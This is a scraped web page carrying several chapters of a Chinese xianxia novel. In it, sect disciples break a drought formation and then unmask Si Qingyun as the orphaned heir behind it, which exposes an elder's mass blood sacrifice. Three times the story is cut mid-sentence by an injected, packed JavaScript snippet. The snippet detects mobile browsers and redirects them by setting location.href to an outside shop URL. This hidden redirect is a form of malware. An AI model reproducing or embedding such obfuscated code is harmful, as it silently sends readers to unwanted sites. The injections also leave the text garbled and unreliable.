公仪岭看着这个地方,觉得有些眼熟,细细回想了一下,想起来这是跟青黛走的时候途径的一片小竹林。 只不过现在,竹子是已经没有了的,就剩下裂开的土缝里冒出来的几根风干的竹节。 “——来得这么快?” 齐清鸢手里拿着的信号弹都还没凉透,几人就在面前突然出现,吓了她一跳,愣了半晌才自言自语道:“当时分队伍的时候应该将抱元门两个人拆开才是,不然如果你们打信号的话,我们过去得多慢啊!” 齐元白绕着她团团转了两圈,反复确认妹妹没出什么事情,这才安了心,语气中带了点责怪之意:“阿鸢,你们没遇到危险怎么还放信号弹?真是急死人了……” 齐清鸢道:“……哥,我没事,你先别管我啦!这地方,我们也是费了点工夫才找到的,我想着用灵讯石一时半会也说不清,倒不如直接放个信号弹,让你们知道位置,好传送过来呢。” 其他人本来都蹲在地上研究着什么,听到他们的对话,才意识到周围多了几个人。 最先开口的是燕煦泽。 他从容地从地上起身,对燕蓉弯了弯唇角:“来了?” 燕蓉对他点头,算是打了声招呼:“大师兄,除了司青筠,其他人来了。” 燕煦泽目光移动,落在形单影只的司月吟身上,笑道:“你们来得正好,关于旱阵的阵法之事,我们几个也拿不定主意,还请司姑娘来看看吧。” 公仪岭问道:“燕兄的意思是,你们已经找到阵眼了?” 燕煦泽道:“大致错不了,你们来看看应该就能确定了。” 他说完,其余人统统都让开了一个身位,留给司月吟。司月吟深吸了一口气,镇定道:“我先看看吧。” 燕煦泽很是知礼地伸手为她指了个方向,道:“请。” 公仪岭也好奇他们一帮人都围着在看什么,于是跟着司月吟也凑了上去,映入眼帘的是……什么也没有。 公仪岭抓了抓头:“这是何意?” 燕煦泽取出法器念了法诀,齐清鸢又往地上拍了张符纸,那符纸贴到地面上就立刻消失不见了。 要论紫阳宗内的所有术法,那公仪岭最为了解的就只有水系的术法了。只因燕蓉最为擅长此法,与她偶尔交手之间,有关于紫阳宗水系术法,公仪岭也就多少知道了些。 燕煦泽刚刚所用的灵力不少,若是这地方跟旱阵没关系的话,齐清鸢的符纸不可能一点变化也没有,这地面上也不会一点水渍都没有留下。 “所以,你们断定阵眼就在此处?” 燕煦泽抱胸点头:“正是。燕婉师姐和燕蓉修的同为水系法术,刚刚我们两个人已经试了很多次了,结果都是如此。” 齐清鸢无奈道:“我们几个忙活了半天,也没将地里的东西逼出来,还真是不好弄啊。” 难怪他们这么肯定了,这样的情况除了阵眼也想不出第二种了。 公仪岭问司月吟:“司姑娘觉得呢?” 司月吟低头看着手中的昆吾轮的变化,肯定道:“是这里。” 燕煦泽见她确定,道:“既如此,司姑娘看看如何破阵为好?有什么我们能帮上忙的,但说无妨。” 司月吟沉吟片刻,报了几个方位:“太微山、云灵山、紫阳宗的人去这几个方位守好,其余人在旁边护法,等下我用法器逼出阵眼以后,你们就使全力将它击碎。” 见她果决,公仪岭不敢怠慢,立刻就按她报出的位置站定,静静等候。 大家已经等待这一刻良久。所有人站好后,司月吟手中的昆吾轮已经注满了她的灵力,脚下地面顿时金光汇成阵图,一道道光矢朝阵眼的位置飞去。 之前公仪岭就已经看出布阵人的水准在她之上,心知想要破解此阵,对司月吟来说是个挑战,但为今之计也只能靠她一人,不由替人捏了一把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429904|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汗。 “可一定要成功啊……” 只是双方如同斗法般僵持不下,半柱香的时间过去,阵眼位置依旧没有什么变化,而司月吟已经使尽全力让阵眼显现,却依旧感觉力不从心,只能勉力支持。 公仪岚见她冷汗涔涔,忍不住出声道:“司姑娘,若是不行不要硬撑,我们再想别的办法!” 公仪岭清楚她完全是硬来,但眼看着司月吟已经消耗了不少灵力,现在收手就是功亏一篑,想要再来破一次阵就难了。 难道那人当真不顾司月吟的性命吗? 他很难相信这个结论,于是咬牙道:“司姑娘,你再坚持一下!” 公仪岚没料到弟弟会这么说,看向他的目光里多了些惊讶与责备。 公仪岭心中不安,但还是硬着头皮低声道:“大哥,你信我。” 公仪岚知道他虽然平日没个正型,但是关键时候是不可能对人见死不救的,于是没有再出声,揪着心祈祷司月吟能够斗得过布阵的人。 司月吟听到了他们俩的声音,转头对他们露出了一个淡笑,说了一句话:“不会输。” 三个字落入他们耳中,等于给众人吃了一颗定心丸。一瞬间,所有人都凝神聚气,准备最后的奋力一击。 而司月吟说完这句话已经回头,停顿片刻后,忽然大喝了一声:“大家准备!” 昆吾轮霍然光芒大绽,司月吟周身灵力暴涨,全神贯注控制着手中的法器,须臾间,那阵眼终于是支撑不住被逼了出来,破土冲向半空中。 齐元白立刻认了出来,震惊道:“这阵眼是用千年旱魃骨制成的!” 公仪岭定睛一看,这阵眼果然是旱魃骨制成,难怪引得这般灾祸。 旱魃骨破土而出的一瞬,众人手上术法已经招呼了过去,每个人都用了十成十的灵力。那旱魃骨本就已经虚弱下来,被这些术法围攻后更是直接在半空中爆裂开来,落在地上成了一堆齑粉。 “……成了!” 阵眼已毁,众人紧绷的神经这才放松下来。司月吟用最后一点力气收回了法器,瘫软倒地。 公仪岚快步上前将她扶住,唤了几声:“司姑娘?司姑娘?” 公仪岭多少觉得她虚弱成这样也有自己的原因,心中愧疚,下意识想找一找身上有没有滋补灵气的丹药,遗憾的是他出门没带。只好跟在旁边关切道:“司姑娘,你感觉如何?” 她没有反应,已经昏迷了过去,公仪岚面色一沉,转头朝孟妙意喊道:“孟姑娘,她看起来状态很差,你快来瞧一瞧她!” 孟妙意一直在外围护着他们,这会儿听到喊声,从远处跑了过来,见司月吟倒在地上昏迷不醒,眉头紧蹙。 她的手搭上了司月吟的脉搏,确定司月吟没有生命危险后,又取出了一颗丹药给她喂到嘴里,才道:“她灵力虚耗过多,这几日该好好静养。” 公仪岭听到她无事,稍微放心了些,想要继续唤名字把她叫醒,却忽然感觉到面颊上一阵潮湿,抬手摸了摸自己的脸颊,愣了神。 齐元白抬头望天,看着如针线般的透明细雨从天空落下,喃喃道:“下雨了,阿岭。” 37. 质询解谜团 冀阳放亡魂(一) 这场雨一开始下得淅淅沥沥,没过多久,就像是要把几个月积攒的雨水下完一样,演变成了一场倾盆大雨,下得十分痛快。 燕蓉用法器给司月吟化了个仙障遮雨,对公仪岭道:“现在既然已经解决了旱阵,要不要喊司青筠过来,先将司月吟带回去休息再说?” 公仪岭握着灵讯石,犹豫了一会儿,默默摇了摇头。 燕蓉看他神色不好,也摸不清他这个摇头的意思是不喊司青筠还是先不回去,只好望向公仪岚,问道:“公仪兄觉得如何呢?” 公仪岚道:“司姑娘定然不会让师兄一个人在那边,我看还是先叫他汇合吧。” 公仪岭心里还惦记着百人冢的阵法,出声道:“不行,大哥!那边的阵法还没解决……” 燕煦泽本来抱胸站在旁边,等着他们下个结论,听到公仪岭这话来了兴趣,挑眉道:“哦?你们那边还有什么阵法?” 燕蓉道:“师兄,这件事情说来话长……” 承悦也奇道:“二师兄,这冀阳城不是只有一个旱阵吗?” 公仪岭长话短说:“咱们分头行动后,我们在北方的荒山找到了一座百人冢,猜测它可能跟某种邪术有关,所以让司青筠暂且留在那边寻找阵眼。” 燕蓉补充道:“而且我用追忆术探查了其中一个尸身的回忆,觉得里面还有许多可疑之处,的确应该仔细追查一下。” 追忆术是何等难度,紫阳宗几人再清楚不过。 燕婉上前一步拉住她,左右看了看燕蓉,眼中满是担忧:“师妹,你第一次在外面用这个术法,没出什么事情吧?这术法,没有伤到你吧?” 燕蓉走到她面前,扬起笑容,抚着她的手安慰道:“师姐,我没事,有他们两人随我一同进入回忆,不会出问题的。” 虽然几个人一起进去的话会稍微安全些,不过燕蓉也是第一次在下界用此术法,能大获成功也是一件值得高兴的事情。燕煦泽难得露出了赞许的目光:“不错啊,师妹,有进步。” “那是自然。” 旱阵既已解决,众人心中的一块大石头也落了地。 只是另外七个人才刚刚得知冀阳的另一个阵,现在也不是懈怠的好时机。眼下来都来了,哪有坐视不管的道理,大家都想着,不如将另外一个阵也解决了,省得后患无穷。 公仪岭一把抽出归云,想要马不停蹄地御剑飞回去:“怎么说?咱们现在过去?” 燕煦泽点头轻笑:“总归大家都是要去接应司青筠汇合的,那也别耽误时间了,现在就出发吧。” 眼下司月吟正面色苍白地躺在孟妙意怀中,这样的状况,肯定不再合适让她来画传送阵了。齐元白扫了她一眼,也没想到好办法,为难道:“司姑娘现在还虚弱着呢,如何能够画阵过去?咱们几个要是赶路的话,可得不少时间。” 公仪岭不以为意:“不过是传送阵而已,我来画呗,孟姑娘你把她身上的灵石给我。” 孟妙意一直蹲在司月吟旁边检查她的状况,听到公仪岭的话,从她身上取出灵石,有些怀疑道:“你真的能行?” 司月吟他们一路上也不止画了一次传送阵法,每次画阵的时候公仪岭也会记上一记,对他来说,理解起来并不困难,稍微学习一下,也就大致掌握了。 公仪岭接过灵石,笑道:“试试吧,大不了咱们再从天上摔下来一次,这一回,我们三保证能接得住你们。” 要想传送到指定的位置,最为方便的办法还是通过信号弹来定位了。虽然司青筠身上也有抱元门的信号弹,但公仪岭觉得,司青筠恐怕并不会放。他只抱了一丝期望,对着灵讯石喊了两声:“司青筠!司青筠!” 没有应答。 见状,公仪岚诧异道:“我分明记得这几日,司兄每天都会把灵讯石放在身上,刚才这两声,换做平时他早就能听见了,怎得今日却没有动静?” 齐元白有些着急:“难道是我们走了以后,百人冢里出了什么事情?” 齐清鸢疑惑道:“从我叫你们来那会儿,到现在也没有多久,怎么会……?” 公仪岭停顿片刻后,把灵讯石拿地更近了些,继续说道:“司青筠,听得到的话在外面放个信号,我们好过来。” 一群人围着等待灵讯石里面传来回答,也有人一直仰头看着北方的天空等信号炸响,只可惜,他们等了有一盏茶的时间,也没有等到灵讯石里面传来任何答复。 公仪岭心知多半怕是等不到司青筠的答复了,这让他对自己的想法更是多了几分肯定,于是收起了灵讯石,起身道:“不等了,我们直接过去。” 齐元白问他:“可是现在没有信号出来,你真能确定方位吗?” 公仪岭在地上捡了个枯树枝,一边开始起阵,一边说道:“我记得那地方在哪,有九成把握把我们送过去,你们且信我一次。” 公仪岚也道:“阿岭平日里对这些也有研究,他说没问题就一定没问题,我信他。” 大家心里都觉得司青筠没回答恐怕是出了什么意外反正现在也没人能画阵了,死马当作活马医,对此也都没什么意见,一个个都往后退开了好几步给公仪岭让出一个位置来。为了尽快过去救人,等到公仪岭画阵画完,便全都站进了阵中。 孟妙意扶着司月吟走入阵圈中,凝视着他:“这可是你说的啊,九成把握。” 齐元白嘱托道:“要是从天上掉下来,可千万先把我接住了啊。” 公仪岭扫了两人一眼,哭笑不得:“放心吧,不会有问题的。” 他画阵画得很快,虽然不及司月吟画的那般精细,不过该有的东西一个不少,齐元白站定后,还低头细细看了一番,觉得公仪岭画得有模有样,这才信了几分。 公仪岭圆了阵,将手里的枯树枝一丢,站到了中心阵眼的位置,丢下了灵石。 所幸这一回没有出现什么差错,众人睁眼一看,果然是到了洞口的位置。 这洞口与他们离开时候无甚区别,也没有打斗的痕迹,只是因为下了雨,地面上多了些深深浅浅的水坑而已。 公仪岭探耳听着百人冢里面,也没有发现里面有什么动静,大为忐忑不安。 落地后,公仪岚还帮孟妙意扶了一把司月吟,见她有醒转的迹象才安心,扭头对身后几人急声道:“快,我们先进去看看司兄有没有事。” 公仪岭连忙领着人进去。在他们离开前,并没有熄灭洞中的火堆,漆黑的洞内还闪烁着火光,不大不小刚好能够勾勒出尸山的轮廓。 饶是他们见惯了尸体,第一次看见这个场景也免不了倒吸一口凉气。 承悦说话都变结巴了:“这、这、这……这是乱葬岗吗?” 公仪岭沉声道:“不是,这些人都是被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429905|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同一个人杀的。” 齐清鸢也惊了:“谁啊?怎么如此歹毒?!” 燕蓉遗憾道:“回忆里我们没有认出来那人是谁,他穿着宽大的外袍,一直蒙着脸,很难辨认出。” 不过,下山历练了这么多次,对于各种各样的惨状众人心里也都有个准备,大家对尸山也仅仅是一开始震惊了一下,注意力很快就回到了寻找司青筠这件事情上。 齐元白从火堆里拣了个火把举着,扯着嗓子喊道:“司兄!你在哪?” “司兄——” 隔了很久,深处才传来了一声:“嗯,我在这里。” 是司青筠的声音没错。 公仪岭立刻朝声音奔了过去,等到了里面,公仪岭才发现这个地方竟然别有洞天,外面的大洞靠着一个隐蔽的间隙连接里面的小洞,也正因这地方实在是太过漆黑,才让他们一开始没有发现里面的小洞。 这间隙极小,只能容纳一人,公仪岭勉强跻身进去,刚探进去一个脑袋,就发觉里面十分亮堂,四个角落里都安了几个火堆用作照明,把里面的状况照得清清楚楚。 洞中的地上、石壁上,以及只要他能够看见的地方,都被司青筠密密麻麻画满了奇怪的图形,司青筠则是站在正中间,凝望着进来的一帮人,沉默不语。 见他这模样,估计是没料到他们来得这么快。公仪岭稍一怔神,胡乱朝四周指了一圈,问道:“这些是?” 司青筠淡声道:“这些是我为了破阵才画上去的。” 话音刚落,燕煦泽也跟了公仪岭进来,见到这场面稍稍愣神,了然道:“你已经找到阵眼了?” 司青筠点了点头,手上已经祭出了法器。 眼看着他就要催动法器,趁其不备,公仪岭就从怀中摸出一张符纸,当作暗器飞了出去。 这符纸是他从前在齐元白地方赢来的,只要粘到人身上,就能让他在一炷香的时间里动弹不得。 旁的技艺他倒是不信齐元白,但这画符纸可算是齐元白的看家本领了,太微山众弟子里面,唯有他们兄妹最为厉害,什么符箓只要经他们手,就没有失败一说——除非没沾到。 公仪岭的速度极快,但司青筠的反应也是极快,当即就猛地侧身闪避,让那符纸擦着自己的面颊过了去,竟是生生削掉了他的一丝发梢。 “你……” 公仪岭也没完全把希望放在这小小纸片上,在他出手的那瞬间,左手早已按在了归云剑上。见司青筠闪了过去,挥手剑已出鞘。 “阿岭!” 公仪岚刚进来就看见归云划向司青筠脖子这一幕,惊叫出声。 司青筠只当他想要取自己性命,往后退了一步躲开,执了法器就要拦住公仪岭的剑。谁知公仪岭下一招却完全没有按他们的想法来,而是汇集了他的至少五成灵力,剑锋偏转,一剑将司青筠手上的法器挑到了地上。 法器一旦脱手,上面的灵力自然就四散开,回到了物主身上。对他们修仙的人来说,打掉法器不仅意味着失去武器,同时也意味着被人下了脸面。 司青筠向来在抱元门名列前茅惯了,显然没想到自己有一天会被人当众打掉法器,脸色顿时变得难看无比,咬牙道:“公仪岭,你做什么!” 公仪岭的剑柄在掌心一转,就已经横在了司青筠的脖子上,冷冷道:“我做什么,你心里不清楚吗?” 38. 质询解谜团 冀阳放亡魂(二) 正在此时,司月吟也悠悠醒转了过来。公仪岚见她清醒,将她从怀里放了下来,在地上安置妥当了以后,这才快步走到公仪岭旁边:“阿岭,到底怎么回事?” 司月吟回神后,抬眼就看见了公仪岭挟持着司青筠的样子,瞬间清醒过来,惊声道:“公仪岭——” 公仪岭微微低眸看向她,手上却不为所动:“司姑娘,你先不要激动,听我把话说完。” “怎么回事?怎么打起来了?” 旁边的齐元白一进来,也被他的举动吓了一跳,瞥了一眼嵌在司青筠背后墙壁上的定身符,赶忙道:“正是关键的时候,别内讧啊!阿岭,你有话好好说……” 齐元白说是这么说,但到底了解公仪岭,知道他虽然平时散漫了一些,但不会在大事上掉链子,一边嘴上劝着,心中却已经隐隐有了猜测。 “不是内讧!” 公仪岭打断了他的话,一双眼死死盯着司青筠,语气也越发沉冷:“司青筠,这一路上,你耍我们好玩吗?” 听到他直接摊牌,司青筠神色反倒从容下来,勾唇道:“怎么,你知道了什么?” 见他这幅波澜不惊的模样,公仪岭更是气不打一处来。 公仪岚忽然想起来了什么,眸色深深:“阿岭,你之前说你怀疑……” “是啊,我说过。” 公仪岭闭上眼,呼出一口气,让自己冷静下来,才睁开眼一字一句道:“司兄,这旱阵,是你布下的吧。” 安静。 在他说完这句话之后,周围安静地连每个人的呼吸声都清晰可闻。 这一路上,公仪岭的确没少怀疑司青筠,但在离开青黛的记忆后,他更多的是把关注点放在那个蒙面人身上。在最后司月吟玩了命去破掉那个旱阵之前,他甚至觉得司青筠有可能是无辜的。 只可惜,他试探了那么多,司青筠仍旧坚持留在这里,而不是跟他们一起去破阵,哪怕仅仅只是做个样子。 好歹司月吟从小与他一起长大,又如此信任他,哪怕看在这点情分上,公仪岭也以为他不会做的那么绝情——至少觉得司青筠不会伤害她。正因如此,他才坚持让司月吟在破阵的时候不要半途而废,司月吟现在这么虚弱,也是有他的一份推波助澜。 公仪岭自知心中有愧,说完后撇开脸,不敢去看司月吟苍白的面孔。 这样的安静持续了几分钟,才有人开口说话:“为什么?你是从哪里发现不对劲的?” 说话的是燕煦泽。公仪岭微微偏头,见他表情平静,没有表现出特别惊讶,意外之余,还是解释道:“还记得几日前我们中毒的事情吧?当日,我们就已经推测出来布下旱阵的人多半是抱元门的,只不过因为他们两人的缘故,所以暂且将此事压下不提。” “但是。” 公仪岭话锋一转:“平心而论,这阵法就连司月吟都难以破解,最有可能的,当然就是门中比她还厉害的人设下的。” 没有人出言反驳。公仪岚点头道:“的确,当时提到可能是抱元门的人做的,他们两人很是生气,为了避免争吵,我们才假设了其他阵修宗门的可能性。” 公仪岭继续说道:“然后,大家刚结束对这件事情的讨论,回到房间里喝了茶水,就都中毒了。” “呵。” 司青筠忽然笑了一声,道:“当时我就在你们旁边,哪里来的机会下毒?” 公仪岭看着他:“是啊,你在我们旁边,自然也没机会下毒,当然,我也从没说,你是在我们回来以后才下的毒。” “我要是没记错的话,当时为了布下雨阵,司兄你一人独自去了九鼎山,而我们其他人则是按你的指示在城中布置阵旗。” “对于第一次来这里的人来说,当然需要纵观全局,了解地形了,但是对于已经布下过旱阵的你来说,又有什么去九鼎山的必要?” “所以,在支走我们以后,你又回了城主府中下毒,做完这些后,你一直等到我们回到府中,才假装再回来,我们是通过灵讯石和你对话的,当然不会有所察觉。” 司月吟沙哑着嗓子,勉力道:“可是,我们当时没有给城主府设下结界,有别人进去也说不定。” 公仪岭笑道:“当时我们几个人的注意力都在那一袋子压阵法宝上面,若是他设了结界,能进来下毒的人就只有我们,这样的话,岂不是更加容易被发觉?倒不如直接当做一个疏忽,你们道个歉的话,我们也就不好多说什么。何况,城中那么多碧灵蓝雪花被施加了障眼法,我想能做到如此地步的仙僚,在仙门中也不在多数吧?” 司青筠笑道:“这些不过都是你的个人臆断,证据呢?” 公仪岭道:“关于几个月前有人高价收粮的事情,我想,抱元门只需要简单查证一下,想要查到是不是你收的粮,是件很容易的事情。” 司青筠凝视着他,没有出声。 公仪岭道:“下毒这件事情,也算是我们运气好。正巧孟妙意当时与我们说话,她并没有喝下茶水,危急时刻用丹药暂且保住了我们的性命。” “茶毒难解,大家才决定去青花谷解毒。当时前往青花谷的传送阵也是你画的,你如果想要在这上面动动手脚,实在是轻而易举。” “所以,借着自己中毒灵力不济造成失误,让我们从半空中掉下去也变得合情合理起来。” 听到传送阵失误的这件事,齐元白不疑有他,脸上显出怒容,沉声道:“阁下与我们无冤无仇,何至于要害了我们所有人?” 司青筠冷笑一声:“这还没实际证据呢,你倒是相信他。” 齐元白道:“跟你比起来,我自然是信阿岭的。” 公仪岭又道:“昨夜我们分析阵眼位置,几个大致的方位是由你和司姑娘确定下来的,而我们早上去的方向也是你晚上安排好的,目的就是为了找到这个百人冢里的血阵吧?” 司青筠目光闪烁:“昨晚讨论的时候大家都在,若是我分析的阵眼位置有问题,师妹又怎么看不出来?” 公仪岭笑道:“你说的对,那几个位置的确是没有问题的。换言之,只要是个会布阵的人,都会觉得那些方位最合适安置阵眼,你只不过是把血阵的方位也混淆在旱阵的方位里面,然后引我们去找而已。” 燕蓉疑惑道:“他若是早就知道血阵,又猜得到方位,那他在抱元门的时候,明明有大把时间下山破阵,可他为什么不这么做,非要等到我们历练的时候?” 公仪岭对她的疑问表示理解:“你说的这个问题我也想过——司青筠既然猜得到位置,如果想要破阵的话,为什么不一个人早早就来此地解决?说起来,这个问题的答案,还是清鸢的一句话给了我提示。” 齐清鸢正听得认真,突然被提及,睁大眼疑问道:“我?” 见她忘记自己随口说了什么,公仪岭及时提醒了一句:“在我们画了传送阵过来的时候,你对齐元白抱怨了一句:‘当时分队伍的时候应该将抱元门两个人拆开才是,不然如果打信号的话,过去得多慢啊!’,对不对?” “是我说的。”齐清鸢回想起了这句话,“我当时的想法就是,一共历练就来了两个抱元门的人,分成两队破阵的话,就该把他们俩拆开才对。他有什么必要在分队伍的时候,特地带上司月吟?” 关于齐清鸢说的这件事,再联系到青黛回忆里的昆吾轮,公仪岭一直将心里的想法压着,忍着没有发问,但到了此时此刻,却也不得不问司月吟了。 公仪岭没有立刻回答齐清鸢的问题,而是对司月吟道:“有一件事,在下想问问司姑娘。” 司月吟抬头看他,神色平静无波,轻轻颔首道 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公仪岭没有答话,而是将当时看见的画面袒露:“那人用匕首划开了青黛的脖子,又将她的血抹在了昆吾轮上。青黛临死前一定是看见了昆吾轮的样子,那日我们误闯北方荒山,她才会有那么大的反应。” “可是…….” 公仪岚回想着昆吾轮的信息,记忆中的确没有任何一本书上说昆吾轮有过其他主人。他还欲再说,却被司月吟拉住了衣角,见她对自己轻轻摇了摇头。 司月吟表情复杂,对公仪岭说道:“我想你说得没错,昆吾轮的确跟这里的阵法有关。” 公仪岭听完她的话,立刻确定司月吟早有猜想:“不知,司姑娘是何时发觉得呢?” 司月吟细细回忆从来到荒山后的每一个细节,缓缓道:“到了北方荒山以后,我就有所察觉法器异动,当时并没有太过在意,真正觉得不对劲的便是破掉洞口结界的时候。” “那时候大家废了不少时间,也没能损它分毫,可是我一用昆吾轮,那结界便破除了。这种情况,想来也只有两种可能,一种便是破结界人的法力强上许多,另一种便是,这个结界本就是用昆吾轮设置的。” 齐清鸢了然:“所以,恐怕是这个地界只有带上昆吾轮才能进得了结界,引得出那些亡魂,才能让司青筠找到血阵。” 公仪岭点头道:“不错,这就是为什么司青筠明明能自己破阵,却必须带上司月吟的原因。” 司月吟的眼中闪过一丝痛苦,声音渐渐低微下去:“可是,从我记事起,长老就将昆吾轮赠与了我。这法器与我相伴十余载,我从未去探究过它曾经为谁所用,何况师兄从来没有用过这个法器,这个地方肯定不是他弄的。” 公仪岭道:“我从来没说这是他弄的。他既然费尽心思才找到这个阵法,还想破了它,那么就说明血祭百名活人不是他做的。” “也不可能是司姑娘做的,那人在回忆里就已经是中年模样了。”公仪岚道。 公仪岭目光沉沉,问司月吟道:“司姑娘,你告诉我,这法器,究竟是哪位长老给你的?” 司月吟怔了怔才道:“是藏元长老……” 她刚把名字说出口,就对上公仪岭深邃的眼神,心中顿时浮现出一个可怕的念头,惊愕出声:“不,不会的!” 公仪岭还在思考如何措辞显得委婉一点,就被面前的司青筠打断。 他声音是从未有过的生硬冷厉:“怎么不会?!” “你是真的觉得不是,还是不愿意去相信,自己的授业恩师竟然会做出这种活人血祭的事情,还把这沾满血腥的法器交给你了?” 说完后,司青筠嗤笑一声,对着司月吟摇了摇头,脸上神色颇为惋惜。 39. 质询解谜团 冀阳放亡魂(三) 司月吟脸色唰一下变得惨白。 司青筠这么说,等于变相地承认了旱阵是自己布下的。公仪岭能感觉到,司青筠这态度,大约是已经不在意被众人知道真相了。 抱元门与其他宗门不同,虽然宗门内部事务大多由宗主处理,不过涉及到大事皆是由三位德高望重的长老出面。 而抱元门宗主司永丰与夫人崔如钰膝下仅有司月吟一个女儿,在她刚过三岁生辰后,夫妻二人就将司月吟交给长老们教习。 宗主与夫人忙碌,此后除了偶尔过问一下她的功课,便再没其余增进亲子关系的举动,故而司月吟与他们的关系算不得亲厚。 善承长老严厉,玄微长老脾气火爆,三位长老之中,反倒是藏元长老待人温和,更为亲厚,对她的学业也更为上心。三位长老看着她长大,亲授课业,予她法器,教导她为人处事,对她可谓恩重如山。 司月吟回想着近二十年来的点点滴滴,无论如何也无法接受深受自己敬重的藏元长老,竟然会做出这样的事情。 她哑着嗓音,流着泪喃喃自语:“师父德高望重,又悉心教导我们俩这么多年,怎么会去做这种事情?不,不会的,师兄,一定是你搞错了!是你搞错了对不对?布下血阵的肯定另有其人……” 司青筠看向她的眼中难得有了些怜悯,道:“师妹,没有什么真正的凶手,从始至终都只有他是凶手。” 司月吟抚了抚面颊,将泪痕擦拭干净,嘶声追问道:“动机呢?师父这么做的动机呢?!” 司青筠平静道:“抱元门禁书室内有一本书,里面讲的就是这个血祭活人的阵法,这个阵法唯一的作用,就是恢复布阵者的法力,献祭的人数越多,恢复法力也就越强,这就是他的动机。” 司月吟听完,更觉得荒谬:“你我都知道,师父是何等法力!他做什么需要弄这个阵法来恢复法力?” 司青筠低声道:“你当然不知道了,因为在他仙力尽失的时候,你都还没出生呢,他们几个人,想要将此事瞒住,简直是易如反掌。” “他们几个?”司月吟不可置信,“你是说,善承长老和玄微长老也知道此事?还与藏元长老一起瞒天过海?简直荒谬!” 听到这里,就连公仪岭也难掩震惊了。 他之前不过是斗胆猜测这件事情跟三位长老其中一个脱不了干系,从来没想过他们三个会一起欺瞒此事。毕竟,从当初公仪正卿的事情来看,那三位长老都看起来像眼睛里容不得沙子的人。 司青筠笑道:“藏元长老有什么变化,他们两人如何不知?只是此事关系重大,抱元门那时候又根基未稳,必须有人站出来稳固宗门,为了顾全大局,他们这才将此事压下罢了。” “仙界之中,几位长老都难逢敌手,当年到底是发生了什么事情,他才会失去法力?”公仪岭意外道。 司青筠淡声道:“说到底,不过怀璧其罪罢了。哪怕身居高位,也总有识人不清的时候。藏元信错了人,自然就会承担因果。” 公仪岭揪住了一点关键词,猜道:“藏元长老,莫不是与冀阳城那位先城主有关系吧?” 他能联系起这个关系,也全靠牢牢记着青黛的回忆。城主夫人寥寥数语中,曾透露了一句‘是我们有错在先’。 司青筠也没想到他反应这么快,微愣片刻后,说道:“你倒是聪明。他们的确有关系,这两个人,从前是关系不错的朋友。” 公仪岭试探道:“莫不是找了借口将他诓骗下山,才害了他吧?” 司青筠道:“差不多吧。那时候战火纷飞,冀阳城还不属于现如今的中原国。城主为了守住城池,一边等着援军的到来,另一边则是用藏元给他的灵讯石与藏元取得了联系,想要请他下山助阵。” “藏元自恃法力高强,当即就应下了好友的请求,下山后在冀阳城内外布下大阵,想要以仙人之力逼退敌军,守下冀阳。” 燕蓉不解道:“可那城主说到底也只是个没有法力的普通人,如何害得藏元长老法力尽失?” 司青筠道:“很简单。因为藏元根本没想到,冀阳城主竟然会和魔族有勾结,与玄霄殿的魔尊尹景轩达成了约定,用了逆天而为的法子,夺取了他的仙力。” 燕煦泽幽幽问道:“逆天而为啊……这约定的代价,恐怕不小吧?” 司青筠瞥了他一眼,呵呵一笑:“代价是全家死去后,将魂魄交给玄霄殿,永世不得超生,再不入轮回。” 还真是够狠,公仪岭心道。 解释到这里,燕煦泽也明白了大半:“所以,仙力被夺后,魔族趁机而入与仙门开战,藏元长老别无他法,选择靠血阵恢复自己的法力。等一切结束,藏元长老也清楚自己信错了人,怕是第一件事是去寻仇了吧。” 司青筠道:“是啊,所以藏元屠了城主府满门,一方面是想寻仇,另一方面也是为了不让玄霄殿拿走他们的魂魄,抢先一步把魂魄镇压在了冀阳城下,永远困在这里。” 如此一来,倒是说得通了。只是有些事情,公仪岭觉得还是得问个清楚。 他忽然问道:“那你呢?你费尽心思布下这个旱阵,想要找到百人冢,揭露真相,又是为何?” 司青筠垂眸看脖子上的归云剑,语气平和:“我不过是见他们可怜,想要放走他们的魂魄罢了,你们又何必来阻碍我?” 公仪岭打量着他,又问道:“我如果没记错的话,司青筠你也不过三十岁,跟他们还差着辈吧?” 司青筠颇为意外:“早听闻你是个不理世事、深居简出的人,竟还知道我的年岁,真是叫我意外。” 公仪岭礼貌道:“深居简出也不代表我私下没了解过你们,谢谢。我更想知道的是,你既然知道的这么清楚,那你呢?你又是谁?” 司青筠露出一个意味深长的笑容:“在青黛的回忆里,你们不是早就见过我了吗?” “可是,我们只见到城主夫人和几个丫鬟,还有……” 公仪岭说话声音越来越低,只因他说着说着,就已经意识到了眼前的人究竟是谁。 “允儿……你是允儿?!” 当时公仪岚给几人简单讲述回忆内容的时候,并未提及到这个名字,导致公仪岭说出口以后,其他人都没有意识到这个名字究竟是谁。 齐元白一脸茫然:“允儿……那是谁?” 燕蓉却是已经想起来了:“你是青黛和青璃守着的那个小儿?是先城主和夫人的孩子?” 司青筠笑道:“是啊,看来大家的记性都很不错啊。” 公仪岭道:“既然你没死,看样子当时,彻夜未归的那位青璃应该也没事。” “那时候,青璃姐在城里见雨下大了,又听说夜里有妖邪吃人,就进了一个百姓的屋内避雨,等到第二日清晨才赶回了茅草屋里,谁知此后再也没等到青黛回来。直到我上抱元门拜师之前,都是青璃将我养大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 